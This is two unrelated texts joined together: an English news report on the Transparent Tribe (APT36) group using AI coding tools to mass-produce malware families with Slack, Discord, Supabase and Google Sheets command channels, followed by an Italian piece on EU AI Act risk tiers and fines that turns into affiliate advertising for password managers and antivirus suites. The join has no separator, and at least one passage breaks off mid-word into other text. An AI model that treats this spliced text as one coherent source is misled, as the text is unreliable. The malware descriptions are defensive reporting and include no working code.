The Pakistan-aligned threat actor known as Transparent Tribe has become the latest hacking group to embrace artificial intelligence (AI)-powered coding tools to strike targets with various implants. The activity is designed to produce a "high-volume, mediocre mass of implants" that are developed using lesser-known programming languages like Nim, Zig, and Crystal and rely on trusted services like Slack, Discord, Supabase, and Google Sheets to fly under the radar, according to new findings from Bitdefender. "Rather than a breakthrough in technical sophistication, we are seeing a transition toward AI-assisted malware industrialization that allows the actor to flood target environments with disposable, polyglot binaries," security researchers Radu Tudorica, Adrian Schipor, Victor Vrabie, Marius Baciu, and Martin Zugec said in a technical breakdown of the campaign. The transition towards vibe-coded malware, aka vibeware, as a means to complicate detection has been characterized by the Romanian cybersecurity vendor as Distributed Denial of Detection (DDoD). In this approach, the idea is not to sidestep detection efforts through technical sophistication, but rather to flood target environments with disposable binaries, each using a different language and communication protocol. Helping threat actors in this aspect are large language models (LLMs), which lower the barrier to cybercrime and collapse the expertise gap by enabling them to generate functional code in unfamiliar languages, either from scratch or by porting the core business logic from more common ones. The latest set of attacks has been found to target the Indian government and its embassies in multiple foreign countries, with APT36 using LinkedIn to identify high-value targets. The attacks have also singled out the Afghan government and several private businesses, albeit to a lesser extent. The infection chains likely begin with phishing emails bearing Windows shortcuts (LNKs) bundled within ZIP archives or ISO images. Alternatively, PDF lures featuring a prominent "Download Document" button are used to redirect users to an attacker-controlled website that triggers the download of the same ZIP archives. Regardless of the method used, the LNK file is used to execute PowerShell scripts in memory, which then download and run the main backdoor and facilitate post-compromise actions. These include the deployment of known adversary simulation tools like Cobalt Strike and Havoc, indicating a hybrid approach to ensure resilience. Some of the other tools observed as part of the attacks are listed below - Warcode, a custom shellcode loader written in Crystal that's used to reflectively load a Havoc agent directly into memory. NimShellcodeLoader, an experimental counterpart to Warcode that's used to deploy a Cobalt Strike beacon embedded into it. CreepDropper, a .NET malware that's used to deliver and install additional payloads, including SHEETCREEP, a Go-based infostealer that uses Microsoft Graph API for C2, and MAILCREEP, a C#-based backdoor utilizing Google Sheets for C2. Both malware families were detailed by Zscaler ThreatLabz in January 2026. SupaServ, a Rust-based backdoor that establishes a primary communication channel via the Supabase platform, with Firebase acting as a fallback. It contains Unicode emojis, suggesting that it was likely developed using AI. LuminousStealer, a likely vibe-coded, Rust-based infostealer that uses Firebase and Google Drive to exfiltrate files matching certain extensions (.txt, .docx, .pdf, .png, .jpg, .xlsx, .pptx, .zip, .rar, .doc, and .xls). CrystalShell, a backdoor written in Crystal that's capable of targeting Windows, Linux, and macOS systems, and uses hard-coded Discord channel IDs for C2. It supports the ability to run commands and gather host information. One variant of the malware has been found to use Slack for C2. ZigShell, a counterpart to CrystalShell that's written in Zig and uses Slack as its primary C2 infrastructure. It also supports added functionality to upload and download files. CrystalFile, a simple command interpreter written in Crystal that continuously monitors the "C:\Users\Public\AccountPictures\input.txt" and executes the contents using "cmd.exe." LuminousCookies, a Rust-based specialized injector to exfiltrate cookies, passwords, and payment information from Chromium-based browsers by circumventing app-bound encryption. BackupSpy, a Rust-based utility designed to monitor the local file system and external media for high-value data. ZigLoader, a specialized loader written in Zig that decrypts and executes arbitrary shellcode in memory. Gate Sentinel Beacon, a customized version of the open-source GateSentinel C2 framework project. "The transition of APT36 toward vibeware represents a technical regression," Bitdefender said. "While AI-assisted development increases sample volume, the resulting tools are often unstable and riddled with logical errors. The actor's strategy incorrectly targets signature-based detection, which has long been superseded by modern endpoint security." Bitdefender haș warned that the threat posed by AI-assisted malware is the industrialization of the attacks, allowing threat actors to scale their activities quickly and with less effort. "We are seeing a convergence of two trends that have been developing for some time: the adoption of exotic, niche programming languages, and the abuse of trusted services to hide in legitimate network traffic," the researchers said. "This combination allows even mediocre code to achieve high operational success by simply overwhelming standard defensive telemetry."

A oltre un anno dall’entrata in vigore dei primi divieti (2 febbraio 2025), il quadro regolatorio dell’AI Act sta entrando nella sua fase più complessa. L’Unione Europea, pur mantenendo il primato normativo globale, si trova oggi a gestire una fase di transizione critica: se da un lato le restrizioni sulle pratiche a rischio “inaccettabile” sono ormai consolidate, dall’altro il mercato attende la piena operatività dei modelli di IA di portata generale, i cui obblighi sono scattati nell’agosto 2025. Nonostante l’ambizione di Bruxelles, l’effetto trascinamento globale (Bruxelles effect) appare meno marcato rispetto al GDPR. Diversi ordinamenti extra-UE continuano a prediligere approcci di soft-law o regolamentazioni settoriali, osservando con scetticismo la rigidità burocratica europea che, secondo alcuni analisti finanziari, potrebbe influenzare l’attrattività del mercato unico per le big tech. Indice degli argomenti Il sistema dei rischi e i divieti operativi dell’Ai Act L’impianto normativo resta incardinato su un approccio basato sul rischio, volto a tutelare i diritti fondamentali sanciti dalla Carta dell’UE. Ad oggi, risultano pienamente operative le interdizioni per i sistemi che presentano rischi inaccettabili, ovvero quelli che: Manipolano il comportamento umano con tecniche subliminali o sfruttando vulnerabilità specifiche. Attuano il cosiddetto social scoring (classificazione sociale basata su comportamenti o personalità). Utilizzano l’identificazione biometrica remota “in tempo reale” in spazi pubblici per fini di contrasto (salvo deroghe autorizzate per minacce terroristiche imminenti o ricerca di persone scomparse). Estraggono immagini facciali da internet o CCTV per creare database di riconoscimento non mirati. Deducono emozioni nei luoghi di lavoro o nelle istituzioni educative. Sanzioni e conformità: i costi della non-compliance dell’Ai Act Il regime sanzionatorio rappresenta uno dei principali driver di spesa per il risk management aziendale. Le sanzioni sono parametrate per esercitare un effetto deterrente proporzionale alla capacità finanziaria: Violazioni di pratiche vietate: fino a 35 milioni di euro o al 7% del fatturato mondiale annuo. Inosservanza di altri requisiti: fino a 15 milioni di euro o al 3% del fatturato. Fornitura di informazioni inesatte: fino a 7,5 milioni di euro o all’1,5% del fatturato. Per le PMI e le startup è previsto un trattamento di favore, con l’applicazione dell’importo più basso tra i due parametri, nel tentativo di non soffocare l’ecosistema dell’innovazione europea. Resta fondamentale l’integrazione con il GDPR e la direttiva NIS2 per una gestione olistica della cybersecurity. Tabella di marcia dell’Ai Act: verso il 2027 Siamo attualmente in una fase intermedia della roadmap attuativa: Agosto 2025 (traguardo superato): piena applicazione per i modelli di IA di portata generale (GPAI). Le aziende hanno dovuto adeguare la documentazione tecnica e i controlli sulla trasparenza. Agosto 2027 (prossima scadenza): sarà il termine ultimo per la conformità dei sistemi di IA ad alto rischio integrati in prodotti regolamentati (dispositivi medici, veicoli, infrastrutture critiche). In questa fase, la pressione sui produttori aumenterà sensibilmente a causa degli obblighi di certificazione e sorveglianza post-market. Governance e sfide future dell’Ai Act L’Ufficio Europeo per l’IA coordina ora la vigilanza insieme alle autorità nazionali. In Italia, la definizione dell’autorità competente ha richiesto un lungo iter normativo, essenziale per fornire alle imprese un interlocutore certo per le valutazioni d’impatto sui diritti fondamentali. Il dibattito economico resta però acceso: il rischio è che un eccesso di oneri amministrativi possa innescare una perdita di competitività rispetto a mercati più deregolamentati. L’equilibrio tra protezione etica e dinamismo economico sarà il parametro su cui si misurerà il successo dell’AI Act nei prossimi anni. AI e protezione dei dati: un consiglio operativo In un contesto dove l’IA elabora volumi massivi di informazioni sensibili, la difesa del perimetro informativo non è più solo un obbligo legale, ma un asset strategico. Le aziende, le istituzioni, le agenzie o gli organismi dell’UE che non rispetteranno le disposizioni previste dall’AI Act rischiano sanzioni pesanti: fino a 35 milioni di euro o al 7% del fatturato mondiale totale annuo dell’esercizio precedente (se superiore) per violazioni relative a pratiche vietate o per l’inosservanza di requisiti in materia di dati; fino a 15 milioni di euro o al 3% del fatturato mondiale totale annuo dell’esercizio precedente per l’inosservanza di qualsiasi altro requisito o obbligo del regolamento; fino a 7,5 milioni di euro o all’1,5% del fatturato mondiale totale annuo dell’esercizio precedente per la fornitura di informazioni inesatte, incomplete o fuorvianti agli organismi notificati e alle autorità nazionali competenti in risposta a una richiesta. Per ciascuna categoria di violazione, la soglia per le PMI sarebbe l’importo più basso tra i due previsti, mentre per le altre imprese sarebbe l’importo più elevato. Le multe possono arrivare fino a 35 milioni di euro o al 7% del fatturato globale annuo, a seconda di quale valore sia maggiore. Questo include anche le aziende internazionali che operano all’interno dell’Unione Europea, applicando l’AI Act con un effetto extraterritoriale. In questo contesto, è fondamentale per le aziende operanti nell’UE comprendere l’interazione tra l’AI Act e altri regolamenti europei, come il Gdpr e la direttiva NIS2, per evitare sovrapposizioni di obblighi e per garantire una gestione corretta degli incidenti e dei rischi. L’AI Act classifica i sistemi di IA in quattro categorie di rischio: inaccettabile alto limitato minimo o nullo: include applicazioni come videogiochi abilitati all’IA o filtri antispam, che sono esenti da normative stringenti e la stragrande maggioranza dei sistemi di IA attualmente utilizzati nell’UE rientra in questa categoria. Le implicazioni di questa classificazione sono fondamentali per capire come la legge influenzerà i vari settori. Ecco le pratiche con rischio inaccettabile riguardano i sistemi di IA che: manipolano le decisioni degli individui in modo subliminale o ingannevole; sfruttano le vulnerabilità come l’età, la disabilità o lo status socio-economico per influenzare il comportamento; valutano o classificano gli individui in base al loro comportamento sociale o alle caratteristiche della personalità; valutano o prevedono il rischio di un individuo di commettere un reato basandosi sui loro tratti di personalità e caratteristiche; creano o espandono database di riconoscimento facciale attraverso la raccolta non mirata di immagini del viso da internet o da riprese di telecamere a circuito chiuso; deducono le emozioni nei luoghi di lavoro o nei centri educativi; classificano gli individui in base ai dati biometrici per dedurre la loro razza, opinioni politiche, appartenenza sindacale, credo religioso o filosofico, vita sessuale o orientamento sessuale; raccolgono informazioni biometriche “in tempo reale” in spazi pubblici accessibili per l’applicazione della legge, salvo eccezioni ben definite e regolamentate. Tali eccezioni includono la ricerca di un bambino scomparso o la prevenzione di una specifica e imminente minaccia terroristica, ma richiedono l’autorizzazione di un’autorità giudiziaria o indipendente e sono soggette a limiti temporali, geografici e di database di ricerca. I sistemi di IA che operano con tecniche manipolatorie, come il riconoscimento delle emozioni sul posto di lavoro o la creazione di profili biometrici per classificare individui in base alla razza, l’orientamento sessuale o la religione, sono considerati troppo pericolosi per essere utilizzati. Il divieto riguarda anche pratiche come il social scoring e l’uso di IA per prevedere crimini sulla base dell’aspetto fisico di una persona. Questi divieti sono il risultato di un’approfondita riflessione sulla natura dei rischi che l’IA può comportare. La legge si pone l’obiettivo di ridurre i danni derivanti dall’uso irresponsabile delle tecnologie, proteggendo i diritti fondamentali degli individui da violazioni gravi. L’AI Act proibisce espressamente queste applicazioni, considerando che i danni potenziali sarebbero troppo grandi e difficili da mitigare. Alto: comprende applicazioni in infrastrutture critiche (come i trasporti), nell’istruzione, nella sicurezza dei prodotti, e nella giustizia, nell’ applicazione dell’IA nella chirurgia assistita da robot o software medici basati sull’IA, servizi pubblici e privati essenziali (per esempio il credit scoring che nega ai cittadini la possibilità di ottenere un prestito). Questi sistemi devono rispettare rigorosi obblighi di valutazione prima di essere immesse sul mercato. Rischio limitato: si riferisce alla trasparenza e include obblighi per informare gli utenti quando interagiscono con sistemi di IA, come chatbot o contenuti generati da IA; Il cuore dell’AI Act è l’identificazione di un “rischio inaccettabile”, un concetto che implica che alcune applicazioni di IA possano nuocere gravemente alla sicurezza, ai diritti e alla dignità delle persone. L’intelligenza artificiale è uno strumento formidabile ma alcuni sistemi la utilizzano per usare ed elaborare informazioni che contengono dati personali e sensibili. Dunque, ogni utente deve proteggersi e creare intorno a se e ai propri dispositivi una barriera. Inoltre, occorre sempre più mettersi al riparo dalle minacce esterne con sistemi all’avanguardia. L’implementazione dell’AI Act, unitamente ai rigidi dettami del GDPR e della direttiva NIS2, impone alle organizzazioni un innalzamento dei protocolli di sicurezza. In un panorama dove l’intelligenza artificiale viene spesso utilizzata come vettore per attacchi di ingegneria sociale e data exfiltration, l’adozione di soluzioni tecnologiche di difesa diventa un pilastro della business continuity. Per mitigare i rischi legati alla gestione delle identità e degli accessi, l’utilizzo di gestori di password aziendali come NordPass e 1Password rappresenta oggi uno standard necessario per prevenire il credential stuffing e garantire la segregazione dei privilegi. Parallelamente, la protezione del dato a riposo richiede sistemi di cifratura avanzata; in questo ambito, soluzioni di archiviazione crittografata come NordLocker permettono di mantenere la riservatezza delle informazioni sensibili, riducendo l’impatto finanziario di potenziali data breach. Sul fronte della prevenzione attiva e della difesa dell’endpoint, suite come Kaspersky Plus offrono monitoraggio in tempo reale contro malware e minacce ibride, integrando strumenti di rilevamento che si allineano alle richieste di vigilanza del regolatore europeo. Infine, la gestione della presenza digitale e la riduzione della superficie di attacco passano per la rimozione dei dati personali dai database dei broker di dati, un processo automatizzabile attraverso servizi come Incogni, essenziali per limitare il rischio di profilazione non autorizzata. Compatibilità: Windows, Mac, Android, iOS, Linux Estensioni web: Chrome, Firefox, Edge, Safari, Opera, Brave Crittografia: XChaCha20 2FA: ✓ Compilazione automatica: ✓ Versione Gratuita: ✓ Prezzo: da 1,29 €/mese NordPass è un password manager sicuro e intuitivo che consente di salvare e compilare automaticamente le credenziali, archiviare dati in modo protetto, accedere da più dispositivi, monitorare la salute delle password e rilevare eventuali violazioni di dati. Tra le funzionalità extra troviamo anche l’allegato di file e il mascheramento delle e-mail. Per le aziende, NordPass propone soluzioni dedicate con controlli centralizzati e impostazioni a livello organizzativo, integrazione con SSO (Google Workspace, Entra ID, MS ADFS, Okta) e dashboard di sicurezza e gestione di cartelle condivise. Premium: Sconto del 50% sul piano biennale; Family: Fino a 6 utenti, con tutte le funzionalità Premium e sincronizzazione multi-dispositivo; 30 giorni di garanzia soddisfatti o rimborsati su tutti i piani. Teams: ideale per piccoli gruppi, con gestione centralizzata; Business: Pensato per medie imprese, include SSO e dashboard avanzata; Enterprise: Per grandi organizzazioni, con supporto dedicato e provisioning personalizzato. Oltre alla componente economica, la scelta del piano incide direttamente sulle capacità di governance e integrazione IT dell’azienda: Focus: sicurezza essenziale per micro-imprese. Incluso: condivisione sicura, MFA, accesso offline e login tramite Google Workspace. Vincolo: fatturazione fissa per 10 licenze, indipendentemente dall’utilizzo effettivo inferiore. Focus: gestione del rischio e conformità per PMI. Incluso (oltre a Teams): condivisione per cartelle e gruppi, Data Breach Scanner (monitoraggio violazioni dominio) e integrazione con la piattaforma di compliance Vanta. Vantaggio: offre il miglior rapporto tra costo e strumenti di prevenzione proattiva. Focus: automazione e integrazione in infrastrutture complesse. Incluso (oltre a Business): SSO avanzato (Entra ID, Okta, ADFS), Provisioning automatico degli utenti e integrazione con sistemi SIEM come Splunk o Microsoft Sentinel. Vantaggio: massima scalabilità e controllo centralizzato dei log di accesso per audit di sicurezza. ⚡ Velocità upload: Veloce 🔄️ Accesso ai file offline: ✔️ 💰 Costo: da 2,99 €/mese 📱 Mobile: Android, iOS 💻 Desktop: Windows, macOS 🔐 Sicurezza: AES-256 🧑💻 Facilità di utilizzo: Molto facile 🔥 Offerte attive: SCONTO fino al 53% NordLocker è una soluzione avanzata di cloud storage sicuro che offre crittografia end-to-end per proteggere i file sia in locale che online. Grazie alla sincronizzazione su più dispositivi, consente di accedere ai dati in modo protetto da qualsiasi piattaforma, inclusi Windows, macOS, Android, iOS e browser. Funzionalità principali di NordLocker: Crittografia completa: i file sono protetti durante la memorizzazione e la trasmissione; Architettura zero-knowledge: solo l’utente può accedere ai contenuti; NordLocker non conserva né conosce le chiavi di crittografia; Condivisione sicura: possibilità di condividere file o cartelle protette, mantenendo sempre il controllo degli accessi; Accesso protetto da autenticazione a due fattori (2FA); Supporto clienti attivo 24/7 e priorità per gli utenti Premium. NordLocker, prodotto gemello di NordPass e NordVPN, si posiziona nel mercato del Cloud Storage sicuro con una proposta focalizzata sulla crittografia end-to-end. A differenza dei servizi cloud tradizionali, NordLocker adotta un approccio Zero-Knowledge, garantendo che solo l’utente proprietario delle chiavi di cifratura possa accedere al contenuto dei file. La strategia di penetrazione del mercato di NordLocker si basa su una forte scontistica per il primo anno di sottoscrizione, mirata a incentivare la migrazione da servizi meno sicuri. I prezzi sono espressi in USD come da offerta originale; l’IVA può essere applicata al momento del checkout. L’offerta di NordPass si distingue per l’integrazione di strumenti di cyber-resilienza avanzati: Crittografia “Ironclad”: utilizzo di algoritmi di cifratura avanzati per proteggere i file sia localmente (sul computer) che nel cloud. Sincronizzazione e backup: protezione automatica contro la perdita di dati. In caso di smarrimento o danneggiamento del dispositivo hardware, i dati rimangono recuperabili tramite il vault remoto. Condivisione sicura (Locker Sharing): a differenza dell’invio di file singoli, l’utente condivide l’intero “locker” (archivio cifrato), mantenendo il controllo granulare su chi può accedere e quando. Autenticazione a più fattori (MFA): un ulteriore livello di sicurezza per prevenire accessi non autorizzati all’account. Il risparmio maggiore si ottiene scalando verso il piano da 2 TB, dove il costo per gigabyte diventa estremamente competitivo rispetto al piano intermedio. L’adozione di NordLocker risulta particolarmente indicata per: Professionisti e Business: gestione di documenti legali, fiscali o sanitari che richiedono la conformità a standard di privacy rigorosi. Protezione contro ransomware: poiché i file sono cifrati e backuppati nel cloud, un eventuale attacco hacker locale non compromette la disponibilità dei dati remoti. Collaborazione protetta: possibilità di inviare grandi quantità di dati sensibili senza affidarsi a protocolli email non sicuri. Garanzia di recesso: come per la linea NordPass, anche NordLocker include una garanzia di rimborso di 30 giorni, permettendo una valutazione tecnica dell’interfaccia “drag and drop” e dei tempi di caricamento prima del consolidamento dell’investimento. Compatibilità: Windows, Mac, Android, iOS, Linux Estensioni web: Chrome, Firefox, Edge, Safari, Opera, Brave Crittografia: AES-256 2FA: ✓ Compilazione automatica: ✓ Versione Gratuita: ❌ Prezzo: da 2,65 €/mese L’attuale offerta di 1Password si delinea come una soluzione di gestione delle identità digitali cross-platform, caratterizzata da un modello di pricing a due velocità che incentiva la fidelizzazione annuale attraverso una riduzione del canone mensile superiore al 30% per i nuovi clienti. La tabella seguente evidenzia il risparmio ottenibile optando per la fatturazione annuale rispetto a quella mensile: Questi piani sono orientati alla sicurezza domestica e individuale. Il piano Families risulta particolarmente efficiente sotto il profilo dei costi, consentendo la condivisione di caveau illimitati e il controllo amministrativo sugli accessi dei membri. Una funzionalità distintiva è la Travel Mode, che permette di nascondere temporaneamente i caveau sensibili durante l’attraversamento delle frontiere. Le soluzioni aziendali di 1Password si concentrano sulla governance e sull’integrazione dei sistemi: Teams Starter Pack: un pacchetto a costo fisso per 10 utenti, ideale per startup. Business: include l’integrazione con fornitori di identità (Identity Providers) come Okta, Entra ID e OneLogin. inoltre, offre la funzionalità Watchtower per il monitoraggio proattivo della “salute” delle password aziendali e report sull’utilizzo del team. Integrazione AWS: è prevista la possibilità di acquisto tramite il marketplace AWS per semplificare la fatturazione consolidata all’interno di infrastrutture cloud esistenti. Il valore aggiunto di 1Password risiede nell’architettura di sicurezza basata sulla Secret Key (chiave segreta), che integra la password principale per generare una cifratura AES a 256 bit end-to-end. Sotto il profilo operativo, l’adozione di un piano Business permette di mitigare i rischi di data breach attraverso: Autenticazione a due fattori (2FA) e supporto alle Passkeys. Recovery dei conti: possibilità per gli amministratori di recuperare l’accesso degli utenti bloccati. Provisioning automatico: integrazione con strumenti SIEM (Splunk, Elastic) per il monitoraggio in tempo reale degli eventi di sicurezza. L’offerta promozionale indicata (es. € 2,74 per il piano Individual) è riservata ai nuovi clienti e limitata al primo anno di sottoscrizione con fatturazione annuale. Al termine del periodo promozionale, è prevista l’applicazione delle tariffe standard di listino. Tutti i piani includono una prova gratuita di 14 giorni senza obbligo di acquisto immediato. Incogni, servizio specializzato nella protezione dell’identità digitale, ha lanciato una campagna promozionale in occasione del Safer Internet Day. L’offerta mira a ridurre l’esposizione degli utenti a stalking, doxing e furti d’identità attraverso la rimozione automatizzata dei dati personali dai database dei data broker. L’iniziativa prevede uno sconto fino al 55% sui piani annuali utilizzando il codice coupon PROTECT26, con una finestra temporale di attivazione limitata . La strategia di pricing di Incogni incentiva la sottoscrizione annuale, dimezzando di fatto il canone mensile rispetto alla fatturazione ricorrente standard. L’algoritmo di Incogni interviene su tre livelli critici della filiera dei dati: Automazione su larga scala: il sistema invia e gestisce richieste di rimozione a oltre 420 broker di dati noti, ripetendo il processo periodicamente per evitare che i dati vengano reinseriti (recupero dei dati). Rimozioni personalizzate (piano Unlimited): gli utenti possono segnalare siti specifici dove hanno individuato i propri dati. Il team di Incogni gestisce la pratica senza richiedere la compilazione di moduli aggiuntivi. Monitoraggio e reporting: il servizio fornisce report mensili sull’andamento delle pratiche, offrendo una metrica tangibile sulla riduzione della propria “impronta digitale”. L’adozione di Incogni risponde alla necessità di mitigare i rischi derivanti dai data breach: rimuovendo i propri dati dai broker, si riduce la probabilità di essere bersaglio di campagne di phishing mirate, chiamate di spam e tentativi di frode creditizia. Procedura d’Ingresso: l’attivazione richiede la firma di un modulo di autorizzazione digitale, necessario affinché Incogni possa legalmente agire per conto dell’utente presso i soggetti terzi. Codice sconto: l’applicazione del codice PROTECT26 è necessaria per sbloccare la tariffa agevolata del 55%. Garanzia di rimborso: è prevista una clausola di salvaguardia di 30 giorni (money-back guarantee). Qualora il servizio non soddisfi i requisiti tecnici dell’utente, è possibile richiedere il rimborso integrale entro il primo mese. Massimo dispositivi: 5 Versione Free: Prova gratuita di 30 giorni Sistemi Operativi: Windows, macOS, Android, iOS Dark Web Monitoring: ✔ Protezione minori: ✔ VPN: inclusa Offerte attive: SCONTO fino al 45% 🔥 L’attuale offerta di Kaspersky si articola su una struttura modulare progettata per rispondere alle diverse esigenze di protezione del mercato consumer. La strategia commerciale punta sull’ottimizzazione delle performance e sulla riduzione del rischio d’identità, offrendo sconti significativi fino al 58% per il primo anno di sottoscrizione. L’ecosistema Kaspersky 2026 si basa su tre pilastri fondamentali per la continuità operativa e la protezione del dato: Tutti i piani Kaspersky, Standard, Plus e Premium includono un motore antivirus premiato (vincitore del premio “Product of the Year” di AV-Comparatives). Le statistiche operative riportano oltre 437 milioni di attacchi bloccati nell’ultimo anno, evidenziando l’efficacia delle tecnologie di intelligenza artificiale applicate alla scansione degli URL e degli oggetti dannosi. A partire dal piano Plus, viene integrata una VPN illimitata e superveloce (supporto WireGuard®), essenziale per la cifratura del traffico su reti non protette. Il “Controllo fughe di dati” monitora costantemente se le password o le email associate all’account sono state esposte in violazioni note. Il piano Premium di Kaspersky si configura come la soluzione di fascia alta, includendo: Wallet Identità: Archivio criptato per documenti sensibili. Supporto IT Prioritario: Accesso remoto di esperti per la risoluzione di problemi tecnici. Family Protection: Inclusione gratuita per un anno di Kaspersky Safe Kids per il monitoraggio GPS e il filtraggio dei contenuti per i minori. È fondamentale per l’utente considerare la struttura del modello di abbonamento: Fatturazione anticipata: l’addebito per il rinnovo avviene automaticamente circa 15 giorni prima della scadenza del periodo in corso. Variazione tariffe: il prezzo promozionale è limitato al primo periodo. Al rinnovo, verrà applicato il prezzo standard (es. € 84,99 per il Premium). Diritto di Recesso: Kaspersky offre una garanzia di rimborso entro 30 giorni sia per l’acquisto iniziale che per i rinnovi già addebitati. Incentivo Amazon: il Buono Regalo da 20 € legato al piano Premium rappresenta un ritorno economico immediato, abbattendo il costo effettivo del primo anno a soli € 14,99. Il software Kaspersky garantisce la piena operatività cross-platform: Mobile: Android 11 – 16 e iOS 26.nno rispetto al prezzo di rinnovo; 30 giorni di prova gratuita e garanzia di rimborso entro 30 giorni. Windows: 7 SP1 fino a Windows 11. macOS: Versioni 14 – 26. Massimo dispositivi: 10 Versione Free: prova gratuita di 30 giorni Sistemi Operativi: Windows, macOS, Android, iOS Dark Web Monitoring: ✔ Protezione minori: ✔ VPN: ✔ Offerte attive: SCONTO fino al 66% (per il primo anno) 🔥 Norton offre diverse soluzioni per computer e altri dispositivi tra cui anche smartphone e tablet. Norton aiuta a mantenere protetti i dati che, durante la navigazione, sono particolarmente esposti. Norton AntiVirus Plus con backup nel cloud da 2GB L’analisi dell’offerta commerciale di Norton, aggiornata al primo trimestre del 2026, evidenzia una strategia di posizionamento aggressiva volta a consolidare la quota di mercato nel settore della cybersecurity consumer e Small Business. La struttura dei prezzi riflette una marcata differenziazione tra il costo di acquisizione del cliente e le tariffe di rinnovo a regime, con sconti che raggiungono il 68% sulle soluzioni multidevice. Dal punto di vista funzionale, l’offerta Nordon integra la protezione antivirus tradizionale con tecnologie emergenti di intelligenza artificiale. Il modulo “Protezione anti-truffa”, incluso nei piani 360, è progettato per il rilevamento proattivo di tentativi di phishing, messaggistica fraudolenta e, dato di rilievo tecnico, l’identificazione di contenuti manipolati tramite deepfake. Il piano Deluxe, proposto a 34,99 € per il primo anno (circa 2,92 €/mese), rappresenta il punto di equilibrio economico per i nuclei familiari o i professionisti con più endpoint. Il vantaggio competitivo di questa configurazione risiede nel Dark Web Monitoring, una funzionalità che scansiona i mercati illegali alla ricerca di credenziali compromesse, operando in sinergia con il Password Manager integrato. Oltre alla protezione malware, l’abbonamento include garanzie e strumenti ausiliari di rilievo: Promessa protezione Virus al 100%: un impegno contrattuale che prevede il rimborso qualora gli esperti Norton non riescano a rimuovere un’infezione. Assistente Genie (IA): tool basato su intelligenza artificiale conversazionale specializzato nel triage di messaggi e offerte sospette. Supporto identità (Piano Advanced): assistenza dedicata per il ripristino dei documenti e in caso di furto del portafoglio fisico, estendendo la protezione oltre il perimetro digitale. In linea con le direttive europee sulla protezione dei dati, è opportuno ricordare che l’efficacia di questi sistemi dipende dall’integrazione fluida con i protocolli di sicurezza aziendali. Per le piccole imprese, la soluzione Norton Small Business offre una scalabilità specifica per la protezione dei dati dei clienti, un requisito fondamentale per la compliance normativa. Norton 360 Standard con SafeCam per PC Protezione per 1 dispositivo: PC, Mac, dispositivo Android o iOS. Funzionalità aggiuntive rispetto ad AntiVirus Plus: Secure VPN per una navigazione sicura e privata; SafeCam per PC, che blocca gli accessi non autorizzati alla webcam; Backup nel cloud da 10 GB per PC. Protezione per fino a 5 dispositivi: PC, Mac, dispositivi Android o iOS. Funzionalità aggiuntive rispetto a Standard: Protezione minori per monitorare e proteggere l’attività online dei bambini; Dark Web Monitoring: avvisa se le informazioni personali vengono trovate nel Dark Web; Backup nel cloud da 50 GB per PC. Protezione per fino a 10 dispositivi: PC, Mac, dispositivi Android o iOS. Funzionalità aggiuntive rispetto a Deluxe: Assistenza per il ripristino dell’identità in caso di furto di identità; Assistenza in caso di furto del portafoglio; Monitoraggio dei social media per rilevare attività sospette. Backup nel cloud da 200 GB per PC. Tutti i piani includono la Promessa Protezione Virus 100% che garantisce un rimborso nel caso in cui Norton non riesca a rimuovere un virus Disclaimer: Questo articolo contiene link di affiliazione: acquisti o ordini effettuati tramite tali link permetteranno al nostro sito di ricevere una commissione. I servizi potrebbero subire variazioni di prezzo dopo la pubblicazione. FAQ: ai act categorie di rischio L’AI Act classifica i sistemi di IA in quattro categorie di rischio: 1. Rischio inaccettabile: sistemi vietati che minacciano diritti e libertà fondamentali, come il social scoring, il riconoscimento facciale indiscriminato e la manipolazione emotiva. 2. Alto rischio: comprende applicazioni in infrastrutture critiche (trasporti), istruzione, sicurezza dei prodotti, giustizia, chirurgia assistita da robot e servizi essenziali come il credit scoring. Questi sistemi devono rispettare rigorosi obblighi di valutazione prima di essere immessi sul mercato. 3. Rischio limitato: si riferisce alla trasparenza e include obblighi per informare gli utenti quando interagiscono con sistemi di IA, come chatbot o contenuti generati da IA. 4. Rischio minimo: tutti gli altri sistemi di IA che non presentano rischi significativi e sono soggetti a requisiti minimi. I sistemi di IA considerati a rischio inaccettabile e quindi vietati dall’AI Act includono: – Sistemi di social scoring che classificano le persone in base al loro comportamento sociale – Tecnologie di riconoscimento facciale indiscriminato in spazi pubblici – Sistemi che utilizzano tecniche manipolatorie o subliminali per influenzare il comportamento – Sistemi che sfruttano le vulnerabilità di gruppi specifici basate su età o disabilità – Sistemi per il riconoscimento delle emozioni sul posto di lavoro o in ambito educativo – Creazione di profili biometrici per classificare individui in base a caratteristiche come razza, orientamento sessuale o religione – Sistemi per prevedere crimini sulla base dell’aspetto fisico di una persona Questi divieti sono entrati in vigore dal 2 febbraio 2025 e rappresentano il risultato di un’approfondita riflessione sui rischi che l’IA può comportare per i diritti fondamentali. I sistemi di IA ad alto rischio secondo l’AI Act comprendono applicazioni che operano in settori critici come: – Infrastrutture critiche (come i trasporti) – Istruzione e formazione professionale – Sicurezza dei prodotti – Giustizia e processi democratici – Applicazioni dell’IA nella chirurgia assistita da robot o software medici – Servizi pubblici e privati essenziali (come il credit scoring che può negare ai cittadini la possibilità di ottenere un prestito) Questi sistemi AI ad alto rischio, pur essendo consentiti, sono fortemente regolati e devono rispettare rigorosi obblighi prima di essere immessi sul mercato, tra cui: – Valutazioni di impatto sui diritti fondamentali – Sistemi di gestione della qualità e del rischio – Sorveglianza continua anche dopo il rilascio – Documentazione tecnica dettagliata – Qualità e rappresentatività dei dati di addestramento L’AI Act prevede sanzioni pesanti per le aziende, istituzioni, agenzie o organismi dell’UE che non rispettano le disposizioni. Le multe possono arrivare fino a 35 milioni di euro o al 7% del fatturato globale annuo, a seconda di quale valore sia maggiore. Questo include anche le aziende internazionali che operano all’interno dell’Unione Europea, applicando l’AI Act con un effetto extraterritoriale. Per le PMI, la soglia sanzionatoria è l’importo più basso tra i due previsti, mentre per le altre imprese si applica l’importo più elevato. È fondamentale per le aziende operanti nell’UE comprendere l’interazione tra l’AI Act e altri regolamenti europei, come il GDPR e la direttiva NIS2, per evitare sovrapposizioni di obblighi e garantire una gestione corretta degli incidenti e dei rischi. L’AI Act non pone nessun tipo di limite dimensionale o settoriale, quindi anche le PMI e le microimprese dovranno affrontare un percorso di compliance proporzionato all’impatto dell’AI nel loro business. Il regolamento distingue tra due principali categorie di soggetti: i provider (chi sviluppa e/o modifica modelli di GPAI per trarne profitto) e gli utilizzatori (chi usa strumenti di AI per scopi aziendali). Per le piccole imprese, è consigliabile: 1. Iniziare con un’analisi delle reali esigenze di strumenti AI, individuando reparti, funzioni e utenti coinvolti 2. Mappare i modelli di AI utilizzati secondo le categorie di rischio previste dal regolamento 3. Stabilire un piano d’azione che includa test, audit, documentazione e procedure da tenere costantemente aggiornati 4. Investire nella formazione 